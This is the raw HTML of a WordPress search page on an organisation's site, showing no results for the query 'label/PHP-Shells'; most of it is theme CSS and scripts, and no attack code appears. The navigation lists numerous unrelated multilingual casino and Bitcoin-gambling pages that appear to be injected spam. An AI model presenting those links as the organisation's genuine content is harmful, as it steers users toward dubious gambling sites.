h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/search/et-divi-dynamic.css?ver=1780303556' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /></head>
<body class="search search-no-results wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="label/PHP-Shells" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<div class="entry">
	<h1 class="not-found-title">Aucun résultat</h1>
	<p>La page demandée est introuvable. Essayez d&#039;affiner votre recherche ou utilisez le panneau de navigation ci-dessus pour localiser l&#039;article.</p>
</div>
			</div>

					</div>
	</div>
</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"","unique_test_id":"","ab_bounce_rate":"","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="fitvids-js" src="http://haggai-bf.org/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.fitvids.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
